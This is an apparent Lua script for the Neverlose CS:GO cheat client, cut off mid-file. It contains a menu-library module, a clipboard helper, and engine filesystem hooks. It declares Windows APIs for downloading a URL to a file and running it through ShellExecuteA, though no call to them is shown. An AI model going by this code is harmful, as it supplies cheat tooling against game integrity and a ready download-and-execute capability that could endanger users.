local v1 = panorama.loadstring("return $.DispatchEvent")();
local _ = 0;
local _ = 0;
local v4 = 0;
ffi.cdef("    void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);\n    bool DeleteUrlCacheEntryA(const char* lpszUrlName);\n\n    typedef void*(__thiscall* get_client_entity_t)(void*, int);\n    typedef struct {\n        char  pad_0000[20];\n        int m_nOrder;\n        int m_nSequence;\n        float m_flPrevCycle;\n        float m_flWeight;\n        float m_flWeightDeltaRate;\n        float m_flPlaybackRate;\n        float m_flCycle;\n        void *m_pOwner;\n        char  pad_0038[4];\n    } animstate_layer_t;\n");
local l_pui_0 = (function()



-- perfect user interface
----- neverlose



--------------------------------------------------------------------------------
-- #region :: Header


--
-- #region : Definitions

local _PUIVERSION = 1

--#region: localization

local print, require, print_raw, print_error, color, next, vector, type, pairs, ipairs, getmetatable, setmetatable, assert, rawget, rawset, rawequal, rawlen, unpack, select, tonumber, tostring, error, pcall, xpcall, print_dev =
	  print, require, print_raw, print_error, color, next, vector, type, pairs, ipairs, getmetatable, setmetatable, assert, rawget, rawset, rawequal, rawlen, unpack, select, tonumber, tostring, error, pcall, xpcall, print_dev


local C = function (t) local c = {} for k, v in next, t do c[k] = v end return c end

local table, math, string, ui = C(table), C(math), C(string), C(ui)

--#endregion

--#region: global table

table.find = function (t, j)  for k, v in next, t do if v == j then return k end end return false  end
table.ifind = function (t, j)  for i = 1, table.maxn(t) do if t[i] == j then return i end end  end
table.ihas = function (t, ...) local arg = {...} for i = 1, table.maxn(t) do for j = 1, #arg do if t[i] == arg[j] then return true end end end return false end

table.filter = function (t)  local res = {} for i = 1, table.maxn(t) do if t[i] ~= nil then res[#res+1] = t[i] end end return res  end
table.append = function (t, ...)  for i, v in ipairs{...} do table.insert(t, v) end  end
table.appendf = function (t, ...)  local arg = {...} for i = 1, table.maxn(arg) do local v = arg[i] if v ~= nil then t[#t+1] = v end end  end
table.range = function (t, i, j)  local r = {} for l = i or 0, j or #t do r[#r+1] = t[l] end return r  end
table.copy = function (o) if type(o) ~= "table" then return o end local r = {} for k, v in next, o do r[table.copy(k)] = table.copy(v) end return r end

math.round = function (value)  return math.floor (value + 0.5)  end
math.lerp = function (a, b, w)  return a + (b - a) * w  end

local ternary = function (c, a, b)  if c then return a else return b end  end
local aserror = function (a, msg, level) if not a then error(msg, level and level + 1 or 4) end end
local contend = function (func, callback, ...)
	local t = { pcall(func, ...) }
	if not t[1] then if type(callback) == "function" then return callback(t[2]) else error(t[2], callback or 2) end end
	return unpack(t, 2)
end

local debug = setmetatable({
	warning = function (...)
		print_raw("[\ae09334ffpui", "] ", ...)
	end,
	error = function (...)
		print_raw("[\aef6060ffpui", "] ", ...)
		cvar.play:call("ui/menu_invalid.wav")
		error()
	end
}, {
	__call = function (self, ...)
		if _IS_MARKET then return end
		print_raw("\a74a6a9ffpui - ", ...)
		print_dev(...)
	end
})

--#endregion

--#region: directory tools

local dirs = {
	execute = function (t, path, func)
		local p, k for _, s in ipairs(path) do
			k, p, t = s, t, t[s]
			if t == nil then return end
		end
		if p[k] ~= nil then func(p[k], p) end
	end,
	replace = function (t, path, value)
		local p, k for _, s in ipairs(path) do
			k, p, t = s, t, t[s]
			if t == nil then return end
		end
		p[k] = value
	end,
	find = function (t, path)
		local p, k
		for _, s in ipairs(path) do
			k, p, t = s, t, t[s]
			if type(t) ~= "table" then break end
		end
		return p[k]
	end,
}

dirs.pave = function (t, place, path)
	local p = t for i, v in ipairs(path) do
		if type(p[v]) == "table" then p = p[v]
		else p[v] = (i < #path) and {} or place  p = p[v]  end
	end return t
end

dirs.extract = function (t, path)
	if not path or #path == 0 then return t end
	local j = dirs.find(t, path)
	return dirs.pave({}, j, path)
end

--#endregion

local pui, pui_mt, methods_mt = {}, {}, { element = {}, group = {} }
local tools, elemence = {}, {}
local config, is_setup = {}, false

local stringlist

--
local dpi = render.get_scale(1)

-- #endregion
--

--
-- #region : Elements

--#region: definitions

local elements = {
	switch					= { type = "boolean",	arg = 2 },
	slider					= { type = "number",	arg = 6 },
	combo					= { type = "string",	arg = 2, variable = true },
	language				= { type = "string",	arg = 2, variable = true },
	selectable				= { type = "table",		arg = 2, variable = true },
	button					= { type = "function",	arg = 3, unsavable = true },
    list					= { type = "number",	arg = 2, variable = true },
    listable				= { type = "table",		arg = 2, variable = true },
    label					= { type = "string",	arg = 1, unsavable = true },
    texture					= { type = "userdata",	arg = 5, unsavable = true },
    image					= { type = "userdata",	arg = 5, unsavable = true },
    hotkey					= { type = "number",	arg = 2 },
    input					= { type = "string",	arg = 2 },
    textbox					= { type = "string",	arg = 2 },
    color_picker			= { type = "userdata",	arg = 2 },
    value					= { type = "any",		arg = 2 },
	["sol.lua::LuaVarClr"]	= { type = "userdata",	arg = 2 },
	[""]					= { type = "any",		arg = 2 },
}

--#endregion

--#region: methods parsing

local __mt = {
	group = {}, wrp_group = {},
	element = {}, wrp_element = {},
	events = {}
} do
	local element = ui.find("Miscellaneous", "Main", "Movement", "Air Duck")
    local group = element:parent()

	local element_keys, group_keys = { "__eq", "__index", "__name", "__type", "color_picker", "create", "disabled", "export", "get", "get_override", "id", "import", "key", "list", "name", "new", "override", "parent", "reset", "set", "set_callback", "tooltip", "type", "unset_callback", "update", "visibility",
	}, { "__eq", "__index", "__name", "__type", "button", "color_picker", "combo", "create", "disabled", "export", "hotkey", "import", "input", "label", "list", "listable", "name", "parent", "selectable", "slider", "switch", "texture", "value", "visibility", }

	--

	for i = 1, #element_keys do
		local k = element_keys[i]
		local v = element[k]
		__mt.element[k], __mt.wrp_element[k] = v, function (self, ...) return v(self.ref, ...) end
	end

	for i = 1, #group_keys do
		local k = group_keys[i]
		local v = group[k]
		__mt.group[k], __mt.wrp_group[k] = v, function (self, ...) return v(self.ref, ...) end
	end
end

--#endregion

--#region: weak tables

local icons = setmetatable({}, {
    __mode = "k",
    __index = function (self, name)
        local icon = ui.get_icon(name)
		if #icon == 0 then
			debug.warning(icon, ("<%s> icon not found"):format(name))
			return "[?]"
		end
        self[name] = icon
        return self[name]
    end
})

local groups = setmetatable({}, {
	__mode = "k",
	__index = function (self, raw)
		local key, group
		local kind = type(raw)

		if kind == "table" then
			if raw.__name == "pui::group" then return raw.ref end
			for i = 1, #raw do  raw[i] = tools.format(raw[i])  end

			key, group = raw[1] .."-".. (raw[2] or ""), ui.create(unpack(raw))
		elseif kind == "userdata" and raw.__name == "sol.lua::LuaGroup" then
			key, group = tostring(raw), raw
		else
			raw = tools.format(raw)
			key, group = tostring(raw), ui.create(raw)
		end

		self[key] = group

		return self[key]
	end
})

--#endregion

-- #endregion
--

--
-- #region : Utils

--#region: tools

do
	local fmethods = {
		gradients = function (col, text)
			local colors = {}; for w in string.gmatch(col, "\b%x+") do
				colors[#colors+1] = color(string.sub(w, 2))
			end
			if #colors > 0 then return tools.gradient(text, colors) end
		end,
		colors = function (col)
			-- debug.warning("\ae09334ff\"\\a[...]\"\aDEFAULT is obsolete. Update to \ae09334ff\\b<...>\aDEFAULT and \ae09334ffpui.macros")
			return pui.colors[col] and ("\a".. pui.colors[col]:to_hex()) or "\aDEFAULT"
		end,
		macros = setmetatable({}, {
			__newindex = function (self, key, value)
				local kv = type(value)
		
				if kv == "string" then
				elseif kv == "userdata" and value.__name == "sol.ImColor" then
					value = "\a" .. value:to_hex()
				else
					value = tostring(value)
				end
		
				rawset(self, tostring(key), value)
			end,
			__index = function (self, key) return rawget(self, key) end
		})
	}

	pui.macros = fmethods.macros

	tools.format = function (s)
		if type(s) == "string" then
			if stringlist then stringlist[s] = true end
			s = string.gsub(s, "\b<(.-)>", fmethods.macros)
			s = string.gsub(s, "[\v\r]", { ["\v"] = "\a{Link Active}", ["\r"] = "\aDEFAULT" })
			s = string.gsub(s, "([\b%x]-)%[(.-)%]", fmethods.gradients)
			s = string.gsub(s, "\a%[(.-)%]", fmethods.colors)
			s = string.gsub(s, "\f<(.-)>", icons)
		end

		return s
	end

	tools.gradient = function (text, colors)
		local symbols, length = {}, #(text:gsub(".[\128-\191]*", "a"))
		local s = 1 / (#colors - 1)

		local i = 0
		for letter in string.gmatch(text, ".[\128-\191]*") do
			i = i + 1

			local weight = i / length
			local cw = weight / s
			local j = math.ceil(cw)
			local w = (cw / j)
			local L, R = colors[j], colors[j+1]

			local r = L.r + (R.r - L.r) * w
			local g = L.g + (R.g - L.g) * w
			local b = L.b + (R.b - L.b) * w
			local a = L.a + (R.a - L.a) * w

			symbols[#symbols+1] = ("\a%02x%02x%02x%02x%s"):format(r, g, b, a, letter)
		end

		symbols[#symbols+1] = "\aDEFAULT"

		return table.concat(symbols)
	end
end

--#endregion

--#region: elemence

do
	elemence.new = function (ref)
		local this = { ref = ref }
		--

		this.__depend = { {}, {} }
		this[0], this[1] = {
			type = __mt.element.type(this.ref),
			events = {}, callbacks = {},
		}, {}

		this[0].savable = not elements[this[0].type].unsavable == true
		--

		if this[0].type ~= "button" then
			local v1, v2 = __mt.element.get(this.ref)
			if v2 ~= nil then
				this.value = { v1, v2 }
				__mt.element.set_callback(this.ref, function (self)
					this.value = { __mt.element.get(self) }
				end)
			else
				this.value = v1
				__mt.element.set_callback(this.ref, function (self)
					this.value = __mt.element.get(self)
				end)
			end
		end

		return setmetatable(this, methods_mt.element)
	end

	elemence.group = function (ref)
		return setmetatable({
			ref = ref, par = ref:parent(),
			__depend = { {}, {} }
		}, methods_mt.group)
	end

	elemence.dispense = function (key, ...)
		local args, ctx = {...}, elements[key]

		args.n = table.maxn(args)

		local variable, counter = (ctx and ctx.variable) and type(args[2]) == "string", 1
		args.req, args.misc = (ctx and not variable) and ctx.arg or args.n, {}

		for i = 1, args.n do
            local v = args[i]
            local kind = type(v)

			if i == 2 and ctx.variable and not variable then
				for j = 1, #v do
					v[j] = tools.format(v[j])
				end
			else
				args[i] = tools.format(v)
			end

            if kind == "userdata" and v.__name == "sol.Vector" then  args[i] = v * dpi  end

			if i > args.req then
				args.misc[counter], counter = v, counter + 1
			end
		end

		return args
	end

	elemence.memorize = function (self, path, location)
		if type(self) ~= "table" or self.__name ~= "pui::element" or self[0].skipsave then return end

		location = location or config
		local main = false
		if self[0].savable then
			dirs.pave(location, self.ref, path)
			main = true
		end

		if rawget(self, "color") then
			local pathc = table.copy(path)
			pathc[#pathc] = (main and "*" or "") .. path[#path]
			dirs.pave(location, self.color.ref, pathc)
		elseif next(self[1]) then
			local pathc, gear = table.copy(path), {}
			pathc[#pathc] = (main and "~" or "") .. path[#path]
			for k, v in next, self[1] do
				if v[0].savable and not v[0].skipsave then
					gear[k] = v.ref
					if rawget(v, "color") then gear["*"..k] = v.color.ref end
				end
			end
			dirs.pave(location, gear, pathc)
		end
	end

	elemence.features = function (self, args)
		if self[0].type == "image" or self[0].type == "value" then return end

		local had_child, had_tooltip = false, false

		for i = 1, table.maxn(args) do
			local v = args[i]
			local t = type(v)

			if not had_child and t == "function" then
				local c
				methods_mt.element.create(self)
				self[1], c = v(self[0].gear, self)
				if c ~= nil then self[0].gear:depend{self, c} end
				had_child = true

			elseif not had_child and (t == "userdata" and v.__name == "sol.ImColor") or (t == "table" and (v[1] and v[1].__name == "sol.ImColor" or v[next(v)] and v[next(v)][1].__name == "sol.ImColor")) then
				local im = t == "table"
				local g = im and v[1] or v
				local d = v[2]

				methods_mt.element.color_picker(self, g)
				if d ~= nil then self.color:depend{self, d} end
				had_child = true

			elseif not had_tooltip and t == "string" or (t == "table" and type(v[1]) == "string") then
				__mt.element.tooltip(self.ref, tools.format(v))
				had_tooltip = true
			elseif i == 2 and v == false then
				self[0].skipsave = true
			end
		end
	end

	--#region: .depend

	local cases = {
		combo = function (v)
			if v[3] == true then
				return v[1].value ~= v[2]
			else
				for i = 2, #v do
					if v[1].value == v[i] then return true end
				end
			end
			return false
		end,
		list = function (v)
			if v[3] == true then
				return v[1].value ~= v[2]
			else
				for i = 2, #v do
					if v[1].value == v[i] then return true end
				end
			end
			return false
		end,
		selectable = function (v)
			if v[2] == true then
				return #v[1].value > 0
			elseif v[3] == true then
				return not table.ihas(v[1].value, unpack(v, 2))
			else
				return table.ihas(v[1].value, unpack(v, 2))
			end
		end,
		listable = function (v)
			if v[2] == true then
				return #v[1].value > 0
			elseif v[3] == true then
				return not table.ihas(v[1].value, unpack(v, 2))
			else
				return table.ihas(v[1].value, unpack(v, 2))
			end
		end,
		slider = function (v)
			return v[2] <= v[1].value and v[1].value <= (v[3] or v[2])
		end,
	}

	local depend = function (v)
		local condition = false

		if type(v[2]) == "function" then
			condition = v[2]( v[1] )
		else
			local f = cases[v[1][0].type]
			if f then condition = f(v)
			else condition = v[1].value == v[2] end
		end

		return condition and true or false
	end

	elemence.dependant = function (__depend, dependant, disabler)
		local count = 0

		for i = 1, #__depend do
			count = count + ( depend(__depend[i]) and 1 or 0 )
		end

		local eligible = count >= #__depend
		local kind = dependant.__name == "sol.lua::LuaGroup" and "group" or "element"
		__mt[kind][disabler and "disabled" or "visibility"](dependant, ternary(disabler, not eligible, eligible))
	end

	--#endregion
end

--#endregion

-- #endregion
--


-- #endregion ------------------------------------------------------------------
--



--------------------------------------------------------------------------------
-- #region :: PUI


--
-- #region : pui

--#region: variables

pui.version = _PUIVERSION

pui.colors = {}
pui.accent, pui.alpha = ui.get_style("Link Active"), ui.get_alpha()
pui.menu_position, pui.menu_size = ui.get_position(), ui.get_size()

events.render:set(function ()
	pui.accent, pui.alpha = ui.get_style("Link Active"), ui.get_alpha()
	pui.menu_position, pui.menu_size = ui.get_position(), ui.get_size()
end)

--#endregion

--#region: features

pui.string = tools.format

pui.create = function (tab, name, align)
	if type(name) == "table" then
		local collection = {}
		for k, v in ipairs(name) do
			collection[ v[1] or k ] = elemence.group( groups[{tab, v[2], v[3]}] )
		end
		return collection
	else
		return elemence.group( groups[name and {tab, name, align} or tab] )
	end
end

pui.find = function (...)
	local arg = {...}
	local children for i, v in ipairs(arg) do
		if type(v) == "table" then
			children, arg[i] = v, nil
		break end
	end

	local found = { ui.find( unpack(arg) ) }

	for i, v in ipairs(found) do
		found[i] = elemence[v.__name == "sol.lua::LuaGroup" and "group" or "new"](v)
	end

	if found[2] and found[2].ref.__name == "sol.lua::LuaVar" then
		found[1].color, found[2] = found[2], nil
	elseif children and found[1] then
		for k, v in next, children do
			local path = {...}
			path[#path] = v
			found[1][1][k] = pui.find( unpack(path) )
		end
	end


	return found[1]
end

pui.sidebar = function (name, icon)
	name, icon = tools.format(name), icon and tools.format(icon) or nil

	ui.sidebar(name, icon)
end

pui.get_icon = function (name)
	return icons[name]
end

pui.traverse = function (t, f, p)
	p = p or {}

	if type(t) == "table" and (t.__name ~= "pui::element" and t.__name ~= "pui::group") and t[#t] ~= "~" then
		for k, v in next, t do
			local np = table.copy(p); np[#np+1] = k
			pui.traverse(v, f, np)
		end
	else
		f(t, p)
	end
end

pui.translate = function (original, translations)
	original = tools.format(original)
	for k, v in next, translations or {} do
		ui.localize(k, original, tools.format(v))
	end
	return original
end

do -- categories
	local mt = {
		create = function (self, name, align)
			return elemence.group(__mt.group.create(self[1], tools.format(name), align))
		end
	}	mt.__index = mt

	local sidebar = ui.find("Aimbot", "Anti Aim"):parent():parent()
	local cats = {}

	pui.category = function (name, tab)
		name, tab = tostring(tools.format(name)), tostring(tools.format(tab))
		local ref = contend(ui.find, function () end, name, tab)

		if not cats[name] then
			cats[name] = {}
			if not ref then cats[name][0] = sidebar:create(name) end
		end
		if not cats[name][tab] then
			if ref then cats[name][tab] = ref
			else cats[name][tab] = cats[name][0]:create(tab) end
		end

		return setmetatable({cats[name][tab]}, mt)
	end
end

pui.string_recorder = {
	open = function () stringlist = {} end,
	close = function ()
		if stringlist then
			local list, count = {}, 0
			for k, v in next, stringlist do
				count = count + 1
				list[count] = k
			end
			stringlist = nil
			return list
		end
	end
}

--#endregion

--#region: config system

do
	pui.is_loading_config, pui.is_saving_config = false, false

	local function traverse_b (t, f, p)
		p = p or {}

		if type(t) == "table" and t._S == nil then
			for k, v in next, t do
				local np = table.copy(p); np[#np+1] = k
				traverse_b(v, f, np)
			end
		else
			f(t, p)
		end
	end

	local convert = function (t)
		local new = {}
		traverse_b(t, function (v, p)
			if type(v) == "table" and v._S ~= nil then
				if v._C then
					local col = table.copy(p)
					col[#col] = "*" .. col[#col]
					dirs.pave(new, v._C, col)
					dirs.pave(new, v._S, p)
				else
					local gear = table.copy(v)
					gear._S = nil
					for gk, gv in next, gear do
						if type(gv) == "table" and gv._C then
							gear["*"..gk], gear[gk] = gv._C, gv._S
						end
					end

					local gearpath = table.copy(p)
					gearpath[#gearpath] = "~" .. gearpath[#gearpath]
					dirs.pave(new, gear, gearpath)
					dirs.pave(new, v._S, p)
				end
			else
				dirs.pave(new, v, p)
			end
		end)
		return new
	end

	local locate = function (init, arg)
		if type(arg[1]) == "table" then
			local r = {}
			for i, v in ipairs(arg) do
				local d = dirs.find(init, v)
				dirs.pave(r, d, v)
			end
			
			return r
		else
			return dirs.extract(init, arg)
		end
	end

	local save = function (location, ...)
		pui.is_saving_config = true

		local arg, packed = {...}, {}

		pui.traverse(locate(location, arg), function (ref, path)
			local etype = __mt.element.type(ref)
			local value, value2 = __mt.element[etype == "hotkey" and "key" or "get"](ref)
			local vtype, v2type = type(value), type(value2)

			if etype == "color_picker" then
				if vtype == "table" then
					value2, v2type = value, vtype
					value, vtype = __mt.element.list(ref)[1], "string"
				end

				if value2 then
					value = { value }
					if v2type == "table" then
						for i = 1, #value2 do
							value[#value+1] = "#".. value2[i]:to_hex()
						end
					else
						value[2] = "#".. value2:to_hex()
					end
					value[#value+1] = "~"
				else
					value = "#".. value:to_hex()
				end
			elseif vtype == "table" then
				value[#value+1] = "~"
			end

			dirs.pave(packed, value, path)
		end)

		pui.is_saving_config = false
		return packed
	end
	local load = function (location, data, ...)
		if not data then return end

		local arg, reset = {...}, true
		if arg[1] == false then table.remove(arg, 1); reset = false end

		pui.is_loading_config = true

		local packed = convert(locate(data, arg))
		pui.traverse(locate(location, arg), function (ref, path)
			local value = dirs.find(packed, path)

			local multicolor
			local vtype, etype = type(value), __mt.element.type(ref)
			local object = elements[etype] or elements[ref.__name]

			if etype == "color_picker" then
				if vtype == "string" and value:sub(1, 1) == "#" then
					value = color(value)
					vtype = "userdata"
				elseif vtype == "table" then
					value[#value] = nil
					for i = 2, #value do value[i] = color(value[i]) end
					multicolor = true
					vtype = "userdata"
				end
			elseif vtype == "table" and value[#value] == "~" then
				value[#value] = nil
			end

			--
			if not object or (object.type ~= "any" and object.type ~= vtype) then
				return reset and __mt.element.reset(ref) or nil
			end

			pcall(function ()
				if etype == "hotkey" then
					__mt.element.key(ref, value)
				elseif etype == "color_picker" and multicolor then
					__mt.element.set(ref, value[1])
					__mt.element.set(ref, value[1], table.range(value, 2))
				else
					__mt.element.set(ref, value)
				end
			end)
		end)

		pui.is_loading_config = false
	end

	local package_mt = {
		__type = "pui::package", __metatable = false,
		__call = function (self, raw, ...)
			return (type(raw) == "table" and load or save)(self[0], raw, ...)
		end,
		save = function (self, ...) return save(self[0], ...) end,
		load = function (self, ...) load(self[0], ...) end,
	}	package_mt.__index = package_mt

	pui.setup = function (t, isolate)
		if isolate == true then
			local package = { [0] = {} }
			pui.traverse(t, function (r, p) elemence.memorize(r, p, package[0]) end)
			return setmetatable(package, package_mt)
		else
			if is_setup then return debug.warning("config is already setup by this or another script") end
			pui.traverse(t, elemence.memorize)
			is_setup = true
			return t
		end
	end

	pui.save = function (...) return save(config, ...) end
	pui.load = function (...) load(config, ...) end
end

--#endregion

-- #endregion
--

--
-- #region : methods

methods_mt.element = {
	__metatable = false,
	__type = "pui::element", __name = "pui::element",
	__tostring = function (self) return string.format("pui::element.%s \"%s\"", self[0].type, self.ref:name()) end,
	__eq = function (a, b) return __mt.element.__eq(a.ref, b.ref) end,
	__index = function (self, key)
		return rawget(methods_mt.element, key) or rawget(__mt.wrp_element, key) or rawget(self[1], key)
	end,
	__call = function (self, ...)
		return (#{...} == 0 and __mt.element.get or __mt.element.set)(self.ref, ...)
	end,

	--

	create = function (self)
		self[0].gear = self[0].gear or elemence.group(__mt.element.create(self.ref))
		return self[0].gear
	end,

	depend = function (self, ...)
		local arg = {...}
		local disabler = arg[1] == true

		local __depend = self.__depend[disabler and 2 or 1]
		for i = disabler and 2 or 1, table.maxn(arg) do
			local v = arg[i]
			if v then
				if v.__name == "pui::element" then v = {v, true} end

				v[0] = false
				__depend[#__depend+1] = v

				local check = function () elemence.dependant(__depend, self.ref, disabler) end
				check()

				__mt.element.set_callback(v[1].ref, check)
			end
		end

		return self
	end,

	--

	name = function (self, s)
		if s then	__mt.element.name(self.ref, tools.format(s))
		else		return __mt.element.name(self.ref) end
	end,
	set_name = function (self, s)
		__mt.element.name(self.ref, tools.format(s))
	end,
	get_name = function (self)
		return __mt.element.name(self.ref)
	end,

	type = function (self) return self[0].type end,
	get_type = function (self) return self[0].type end,

	list = function (self)
		return __mt.element.list(self.ref)
	end,
	get_list = function (self)
		return __mt.element.list(self.ref)
	end,
	update = function (self, ...)
		__mt.element.update(self.ref, ...)

		if self[0].type == "list" or self[0].type == "listable" then
			local value, list = __mt.element.get(self.ref), __mt.element.list(self.ref)
			if not list then return end
			local max = #list
	
			if type(value) == "number" then
				if value > max then
					__mt.element.set(self.ref, max)
					self.value = max
				end
			else
				local id = table.ifind(list, value)
	
				if id == nil or id > max then
					__mt.element.set(self.ref, list[max])
					self.value = list[max]
				end
			end
		end
	end,

	tooltip = function (self, t)
		if t then	__mt.element.tooltip(self.ref, tools.format(t))
		else		return __mt.element.tooltip(self.ref) end
	end,
	set_tooltip = function (self, t)
		__mt.element.tooltip(self.ref, tools.format(t))
	end,
	get_tooltip = function (self)
		return __mt.element.tooltip(self.ref)
	end,

	set_visible = function (self, v)
		__mt.element.visibility(self.ref, v)
	end,
	get_visible = function (self)
		__mt.element.visibility(self.ref)
	end,

	set_disabled = function (self, v)
		__mt.element.disabled(self.ref, v)
	end,
	get_disabled = function (self)
		__mt.element.disabled(self.ref)
	end,

	get_color = function (self)
		return rawget(self, "color") and self.color.value
	end,
	color_picker = function (self, default)
		self.color = elemence.new(__mt.element.color_picker(self.ref, default))

		return self.color
	end,

	set_event = function (self, event, fn, condition)
		if condition == nil then condition = true end
		local fncond, latest = type(condition) == "function", fn

		self[0].events[fn] = function ()
			local permission

			if fncond then permission = condition(self) and true or false
			else permission = self.value == condition end

			if latest ~= permission then
				events[event](fn, permission)
				latest = permission
			end
		end
		self[0].events[fn]()
		__mt.element.set_callback(self.ref, self[0].events[fn])
	end,
	unset_event = function (self, event, fn)
		events[event].unset(events[event], fn)
		__mt.element.unset_callback(self.ref, self[0].events[fn])
		self[0].events[fn] = nil
	end,

	set_callback = function (self, fn, once)
		self[0].callbacks[fn] = function () fn(self) end
		__mt.element.set_callback(self.ref, self[0].callbacks[fn], once)
	end,
	unset_callback = function (self, fn)
		if self[0].callbacks[fn] then
			__mt.element.unset_callback(self.ref, self[0].callbacks[fn])
			self[0].callbacks[fn] = nil
		end
	end,

	override = function (self, ...)
		__mt.element.override(self.ref, ...)
	end,
	get_override = function (self)
		return __mt.element.get_override(self.ref)
	end,
}

methods_mt.group = {
	__name = "pui::group", __metatable = false,
	__index = function (self, key)
		return methods_mt.group[key] or (elements[key] and pui_mt.__index(self, key) or __mt.wrp_group[key])
	end,

	name = function (self, s, t)
		local ref = t == true and self.par or self.ref
		if s then	__mt.group.name(ref, tools.format(s))
		else		return __mt.group.name(ref) end
	end,
	set_name = function (self, s, t)
		__mt.group.name(t == true and self.par or self.ref, tools.format(s))
	end,
	get_name = function (self, t)
		return __mt.group.name(t == true and self.par or self.ref)
	end,

	disabled = function (self, b, t)
		local ref = t == true and self.par or self.ref
		if b ~= nil then   __mt.group.disabled(ref, b)
		else		return __mt.group.disabled(ref) end
	end,
	set_disabled = function (self, b, t)
		__mt.group.disabled(t == true and self.par or self.ref, b and true or false)
	end,
	get_disabled = function (self, t)
		return __mt.group.disabled(t == true and self.par or self.ref)
	end,

	set_visible = function (self, b)
		__mt.group.visibility(self.ref, b and true or false)
	end,
	get_visible = function (self)
		return __mt.group.visibility(self.ref)
	end,

	depend = methods_mt.element.depend
}

-- #endregion
--

--
-- #region : pui_mt

do
	local cached = {} for key in next, elements do
		cached[key] = function (origin, ...)
			local is_child = origin.__name == "pui::group"
			local group = is_child and origin.ref or groups[origin]

			local args = elemence.dispense(key, ...)
			local this = elemence.new( __mt.group[key]( group, unpack(args, 1, args.n < args.req and args.n or args.req) ) )

			elemence.features(this, args.misc)

			return this
		end
	end

	pui_mt.__metatable = false
	pui_mt.__name = "pui::basement"
	pui_mt.__index = function (self, key)
		if not elements[key] then return ui[key] end
		return cached[key]
	end
end

-- #endregion
--


-- #endregion ------------------------------------------------------------------
--




return setmetatable(pui, pui_mt) ---------------------------<  enQ • 1927  >----
end)();
local l_clipboard_0 = (function()
local char_array = ffi.typeof 'char[?]'

local native_GetClipboardTextCount = utils.get_vfunc('vgui2.dll', 'VGUI_System010', 7, 'int(__thiscall*)(void*)')
local native_SetClipboardText = utils.get_vfunc('vgui2.dll', 'VGUI_System010', 9, 'void(__thiscall*)(void*, const char*, int)')
local native_GetClipboardText = utils.get_vfunc('vgui2.dll', 'VGUI_System010', 11, 'int(__thiscall*)(void*, int, const char*, int)')

local function get()
	local len = native_GetClipboardTextCount()

	if len > 0 then
		local char_arr = char_array(len)

		native_GetClipboardText(0, char_arr, len)
		return ffi.string(char_arr, len - 1)
	end
end

local function set(...)
	local text = tostring(table.concat({ ... }))

	native_SetClipboardText(text, string.len(text))
end

return {
	set = set,
	get = get
}
end)();
local _ = (function()
ffi.cdef[[
        void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);        
        void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
]]
local urlmon = ffi.load 'UrlMon'
local wininet = ffi.load 'WinInet'
local function vtable_entry(instance, index, type)
    return ffi.cast(type, (ffi.cast("void***", instance)[0])[index])
end

local function vtable_thunk(index, typestring)
    local t = ffi.typeof(typestring)
    return function(instance, ...)
        assert(instance ~= nil)
        if instance then
            return vtable_entry(instance, index, t)(instance, ...)
        end
    end
end

local function vtable_bind(module, interface, index, typestring)
    local instance = utils.create_interface(module, interface) or error("invalid interface")
    local fnptr = vtable_entry(instance, index, ffi.typeof(typestring)) or error("invalid vtable")
    return function(...)
        return fnptr(tonumber(ffi.cast("void***", instance)), ...)
    end
end

local filesystem = utils.create_interface("filesystem_stdio.dll", "VBaseFileSystem011")
local filesystem_class = ffi.cast(ffi.typeof("void***"), filesystem)
local filesystem_vftbl = filesystem_class[0]

local func_read_file = ffi.cast("int (__thiscall*)(void*, void*, int, void*)", filesystem_vftbl[0])
local func_write_file = ffi.cast("int (__thiscall*)(void*, void const*, int, void*)", filesystem_vftbl[1])

local func_open_file = ffi.cast("void* (__thiscall*)(void*, const char*, const char*, const char*)", filesystem_vftbl[2])
local func_close_file = ffi.cast("void (__thiscall*)(void*, void*)", filesystem_vftbl[3])

local func_get_file_size = ffi.cast("unsigned int (__thiscall*)(void*, void*)", filesystem_vftbl[7])
local func_file_exists = ffi.cast("bool (__thiscall*)(void*, const char*, const char*)", filesystem_vftbl[10])

local full_filesystem = utils.create_interface("filesystem_stdio.dll", "VFileSystem017")
local full_filesystem_class = ffi.cast(ffi.typeof("void***"), full_filesystem)
local full_filesystem_vftbl = full_filesystem_class[0]

local func_add_search_path = ffi.cast("void (__thiscall*)(void*, const char*, const char*, int)", full_filesystem_vftbl[11])
local func_remove_search_path = ffi.cast("bool (__thiscall*)(void*, const char*, const char*)", full_filesystem_vftbl[12])

local func_remove_file = ffi.cast("void (__thiscall*)(void*, const char*, const char*)", full_filesystem_vftbl[20])
local func_rename_file = ffi.cast("bool (__thiscall*)(void*, const char*, const char*, const char*)", full_filesystem_vftbl[21])
local func_create_dir_hierarchy = ffi.cast("void (__thiscall*)(void*, const char*, const char*)", full_filesystem_vftbl[22])
local func_is_directory = ffi.cast("bool (__thiscall*)(void*, const char*, const char*)", full_filesystem_vftbl[23])

local func_find_first = ffi.cast("const char* (__thiscall*)(void*, const char*, int*)", full_filesystem_vftbl[32])
local func_find_next = ffi.cast("const char* (__thiscall*)(void*, int)", full_filesystem_vftbl[33])
local func_find_is_directory = ffi.cast("bool (__thiscall*)(void*, int)", full_filesystem_vftbl[34])
local func_find_close = ffi.cast("void (__thiscall*)(void*, int)", full_filesystem_vftbl[35])

local native_GetGameDirectory = vtable_bind("engine.dll", "VEngineClient014", 36, "const char*(__thiscall*)(void*)")

local MODES = {
    ["r"] = "r",
    ["w"] = "w",
    ["a"] = "a",
    ["r+"] = "r+",
    ["w+"] = "w+",
    ["a+"] = "a+",
    ["rb"] = "rb",
    ["wb"] = "wb",
    ["ab"] = "ab",
    ["rb+"] = "rb+",
    ["wb+"] = "wb+",
    ["ab+"] = "ab+",
}

local FileSystem = {}
FileSystem.__index = FileSystem

function FileSystem.exists(file, path_id)
    return func_file_exists(filesystem_class, file, path_id)
end

function FileSystem.rename(old_path, new_path, path_id)
    func_rename_file(full_filesystem_class, old_path, new_path, path_id)
end

function FileSystem.remove(file, path_id)
    func_remove_file(full_filesystem_class, file, path_id)
end

function FileSystem.create_directory(path, path_id)
    func_create_dir_hierarchy(full_filesystem_class, path, path_id)
end

function FileSystem.is_directory(path, path_id)
    return func_is_directory(full_filesystem_class, path, path_id)
end

function FileSystem.find_first(path)
    local handle = ffi.new("int[1]")
    local file = func_find_first(full_filesystem_class, path, handle)
